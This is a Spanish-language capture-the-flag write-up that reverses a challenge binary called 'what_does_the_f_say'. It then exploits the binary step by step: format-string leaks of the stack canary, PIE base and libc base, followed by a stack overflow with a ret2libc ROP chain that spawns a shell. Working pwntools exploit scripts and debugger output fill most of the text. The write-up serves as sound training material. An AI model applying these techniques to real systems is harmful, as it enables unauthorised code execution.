Reversing
Al ejecutar el binario muestra un contador de rocas y 2 menus para comidas y bebidas
❯ ./what_does_the_f_say
Welcome to Fox space bar!
Current space rocks: 69.69
1. Space drinks
2. Space food
Iniciamos por desensamblar la función main
, ésta es relativamente simple, solo llama a la función setup
para el output, posteriormente a las funciones welcome
y fox_bar
La función welcome
simplemente muestra un mensaje con puts
y sigue la ejecución
La función fox_bar
inicia mostrando un menu
y recibiendo un digito con scanf
que se utilizará como opción en una estructura switch
para elegir a que bloque saltar
Al final del bloque anterior se compara la variable option
con 1
, si el valor es 1
llama a la función drinks_menu
, si es igual a 2
llama a la función food_menu
Iniciamos con la función drink_menu
, utiliza memset
para rellenar con 0's
un total de 0x1e
bytes de un buffer, luego muestra otro menú con puts
y recibe un digito de opción con scanf
, al final del bloque compara la opción con un 1
y realiza un salto
Si la opción es 1
disminuye la variable local srocks 4.9
unidades, llama a una función y compara si es menor que 20
, si es asi muestra un mensaje con puts
Si la opción es igual a 2
muestra una pregunta con puts
y recibe un buffer de 0x1d
bytes con read
, luego ese mismo buffer lo muestra con printf
sin ningun formato causando una vulnerabilidad de format string, después llama a la función warning
La función warning
compara si la variable global srocks
es mayor que 20.0
, si es mayor sigue la linea verde, si es menor o igual simplemente sigue la linea roja
Cuando la variable srocks
es menor o igual a 20.0
muestra un mensaje y recibe una string con scanf
que guarda en rbp - 32
, esto puede ocasionar un buffer overflow
Explotación
Iniciamos mirando las protecciones con checksec
, empezamos con el FULL RELRO
nos impode escribir en la tabla got
, el Canary
establece una variable local en rbp - 8
que comprueba que no se haya modificado antes de retornar, el NX
nos impide ejecutar shellcode en el stack y el PIE
hace aleatoria la dirección base del binario
❯ checksec what_does_the_f_say
[*] '/home/user/what_does_the_f_say'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Sabemos que luego de la pregunta existe un format string, si enviamos varios %p
logramos hacer leaks de diferentes puntero interesante separados por un .
1. Space drinks
2. Space food
1
1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
2
Red or Green Kryptonite?
%p.%p.%p.%p.%p.%p.%p.%p.%p
0x7ffc11d66430.0x1d.0x7990fc910191.0x19.(nil).0x2f2f2f2f2f2f2f2f.0x200000000.0x70252e70252e7025.0x252e70252e70252e
Enjoy your Kryptonite vodka!
Current space rocks: 62.79
1. Space drinks
2. Space food
El siguiente script en python itera sobre las posiciones del 1
al 9
que es la cantidad máxima debido a que tenemos la limitación de srocks
, de esta forma podemos ver algunos punteros filtrados sin embargo ninguno de ellos nos es de verdadero interés
#!/usr/bin/python3
from pwn import process, log
shell = process("./what_does_the_f_say")
for i in range(1, 10):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './what_does_the_f_say': pid 225635
[*] 1: 0x7ffe1d404be0
[*] 2: 0x1d
[*] 3: 0x7f685a910191
[*] 4: 0x19
[*] 5: (nil)
[*] 6: 0x2f2f2f2f2f2f2f2f
[*] 7: 0x200000000
[*] 8: 0xa70243825
[*] 9: (nil)
[*] Switching to interactive mode
You have less than 20 space rocks! Are you sure you want to buy it?
$
Si miramos los punteros en las posiciones 10
al 18
encontramos otros punteros, la posición 13
pertenece a la stack cookie ya que sigue el formato normal terminando el qword en 00
, la posición 15
pertenece a la función fox_bar
, parte del binario
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./what_does_the_f_say", "continue")
for i in range(10, 19):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 226791
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']
[*] 10: (nil)
[*] 11: (nil)
[*] 12: (nil)
[*] 13: 0x2725fd5658801000
[*] 14: 0x7ffe0b1bbca0
[*] 15: 0x60475e91274a
[*] 16: 0x1000000c2
[*] 17: 0x2725fd5658801000
[*] 18: 0x7ffe0b1bbcd0
[*] Switching to interactive mode
You have less than 20 space rocks! Are you sure you want to buy it?
$
La posición 15
apunta a la función fox_bar
, esta dirección es parte del binario y si restamos el offset de 0x174a
bytes deberiamos poder obtener la dirección base
^C
Program received signal SIGINT, Interrupt.
0x00007e3b83b10191 in read () from ./libc.so.6
pwndbg> x/i 0x60475e91274a
0x60475e91274a <fox_bar+106>: jmp 0x60475e912764 <fox_bar+132>
pwndbg> vmmap what_does_the_f_say
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0x60475e911000 0x60475e912000 r--p 1000 0 /home/user/what_does_the_f_say
► 0x60475e912000 0x60475e913000 r-xp 1000 1000 /home/user/what_does_the_f_say
► 0x60475e913000 0x60475e914000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x60475e914000 0x60475e915000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x60475e915000 0x60475e916000 rw-p 1000 3000 /home/user/what_does_the_f_say
► 0x60475e916000 0x60475e918000 rw-p 2000 5000 /home/user/what_does_the_f_say
0x7e3b83a00000 0x7e3b83be7000 r-xp 1e7000 0 /home/user/libc.so.6
pwndbg> p/x 0x60475e91274a - 0x60475e911000
$1 = 0x174a
pwndbg>
Entonces, hacemos un leak con los punteros en la posición 13
y 15
, a éste último le restamos el offset y de esta forma obtenemos la stack cookie y la dirección base del binario, con esto ya evadimos 2 de las protecciones que son el Canary
y el PIE
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./what_does_the_f_say", "continue")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
log.info(f"Canary: {hex(canary)}")
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
Lo ejecutamos para comprobar que funciona, esto nos muestra la stack cookie y una dirección que si comparamos con la dirección base del binario es justo la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 228144
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']
[*] Canary: 0xc71c366111d4ba00
[*] Binary base: 0x57935ae9c000
[*] Switching to interactive mode
Enjoy your Kryptonite vodka!
Current space rocks: 62.79
1. Space drinks
2. Space food
$
^C
Program received signal SIGINT, Interrupt.
0x00007c9ddb910191 in read () from ./libc.so.6
pwndbg> vmmap what_does_the_f_say
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0x57935ae9c000 0x57935ae9d000 r--p 1000 0 /home/user/what_does_the_f_say
► 0x57935ae9d000 0x57935ae9e000 r-xp 1000 1000 /home/user/what_does_the_f_say
► 0x57935ae9e000 0x57935ae9f000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x57935ae9f000 0x57935aea0000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x57935aea0000 0x57935aea1000 rw-p 1000 3000 /home/user/what_does_the_f_say
► 0x57935aea1000 0x57935aea3000 rw-p 2000 5000 /home/user/what_does_the_f_say
0x7c9ddb800000 0x7c9ddb9e7000 r-xp 1e7000 0 /home/user/libc.so.6
pwndbg>
Al inicio cuando lekeamos algunos punteros podemos notar que a partir de la posición 8
los valores son un reflejo de nuestros datos en punteros hexadecimales
❯ unhex 70252e70252e7025 | rev
%p.%p.%p
❯ unhex 252e70252e70252e | rev
%.p%.p%.
Entonces, podemos enviar %9$p
para hacer un leak de la posición 9
y luego rellenar con .
a 8
bytes que es el tamaño del puntero, luego enviamos AAAABBBB
, el resultado es que el leak muestra estos caractéres de la posición 9
como puntero
1. Space drinks
2. Space food
1
1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
2
Red or Green Kryptonite?
%9$p....AAAABBBB
0x4242424241414141....AAAABBBB
Enjoy your Kryptonite vodka!
Current space rocks: 62.79
1. Space drinks
2. Space food
Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got
de la función puts
que contiene una referencia a su posición en libc
pwndbg> x/i puts
0x1030 <puts@plt>: jmp QWORD PTR [rip+0x2f5a] # 0x3f90 <puts@got.plt>
pwndbg>
También necesitamos el offset ésta la misma función pero en libc que obtenemos con libcdb
, esto para restarle esa cantidad al leak y obtener la dirección base de libc
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.27
BuildID: d3cf764b2f97ac3efe366ddd07ad902fb6928fd7
MD5: 35ef4ffc9c6ad7ffd1fd8c16f14dc766
SHA1: a22321cd65f28f70cf321614fdfd22f36ecd0afe
SHA256: f0ad9639b2530741046e06c96270b25da2339b6c15a7ae46de8fb021b3c4f529
Symbols:
__libc_start_main_ret = 0x21b97
dup2 = 0x110ab0
printf = 0x64f00
puts = 0x80a30
read = 0x110180
str_bin_sh = 0x1b40fa
system = 0x4f4e0
write = 0x110250
Ahora nuestro exploit usa el formato %9$s
para mostrar como string el contenido de la posición 9
, rellenamos el qword y para esa posición le pasamos la entrada got
de la función puts
, entonces ejecutará algún tipo de printf(puts@got)
que muestra la dirección de puts
en memoria y al restar el offset nos da la dirección base de libc
#!/usr/bin/python3
from pwn import gdb, p64, u64, log
shell = gdb.debug("./what_does_the_f_say", "continue")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30
log.info(f"Libc base: {hex(libc_base)}")
shell.interactive()
Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb
es exactamente la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 230232
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']
[*] Libc base: 0x7c1855e00000
[*] Switching to interactive mode
1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
$
^C
Program received signal SIGINT, Interrupt.
0x00007c1855f10191 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5a2d25eab000 0x5a2d25ead000 rw-p 2000 5000 /home/user/what_does_the_f_say
► 0x7c1855e00000 0x7c1855fe7000 r-xp 1e7000 0 /home/user/libc.so.6
► 0x7c1855fe7000 0x7c18561e7000 ---p 200000 1e7000 /home/user/libc.so.6
► 0x7c18561e7000 0x7c18561eb000 r--p 4000 1e7000 /home/user/libc.so.6
► 0x7c18561eb000 0x7c18561ed000 rw-p 2000 1eb000 /home/user/libc.so.6
0x7c1856200000 0x7c1856227000 r-xp 27000 0 /home/user/ld-2.27.so
pwndbg>
Vamos con la siguiente vulnerabilidad, mediante un bucle for
restaremos srocks
un total de 7
veces, hasta que sea menor a 20
unidades, entonces ya podemos explotar el buffer overflow el cual dijimos tenia un offset a la cookie de 24
bytes, ahí enviamos el canary, 8 B's
para rbp
y 8 C's
para el return address, además un par de D's
que se guardarán en el stack, asi tenemos el control del flujo de ejecución
#!/usr/bin/python3
from pwn import gdb, p64, u64
shell = gdb.debug("./what_does_the_f_say", "continue")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30
for i in range(7):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"Red")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += b"C" * 8
payload += b"D" * 24
shell.sendlineafter(b"buy it?\n", payload)
shell.interactive()
Program received signal SIGSEGV, Segmentation fault.
0x000063e156f7155c in warning ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7ffd1d323c68: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7ffd1d323c70: 'D' <repetidos 24 veces>
pwndbg>
Una vez controlamos el return address y los valores en el stack simplemente nos queda agregar un ropchain que nos devuelva una shell con system("/bin/sh");
#!/usr/bin/python3
from pwn import process, p64, u64
shell = process("./what_does_the_f_say")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30
for i in range(7):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"Red")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += p64(libc_base + 0x0968ba) # pop rdi; ret;
payload += p64(libc_base + 0x1b40fa) # "/bin/sh"
payload += p64(libc_base + 0x0c7c5a) # ret;
payload += p64(libc_base + 0x04f4e0) # system()
shell.sendlineafter(b"buy it?\n", payload)
shell.interactive()
Entonces, en el exploit usamos el format string para lekear el canary
y la dirección base del binario, ya con ello lekeamos la dirección base de libc para posteriormente explotar el buffer overflow que al ejecutar el ropchain
nos devuelve una shell
❯ python3 exploit.py
[+] Starting local process './what_does_the_f_say': pid 231378
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) grupos=1000(user)
$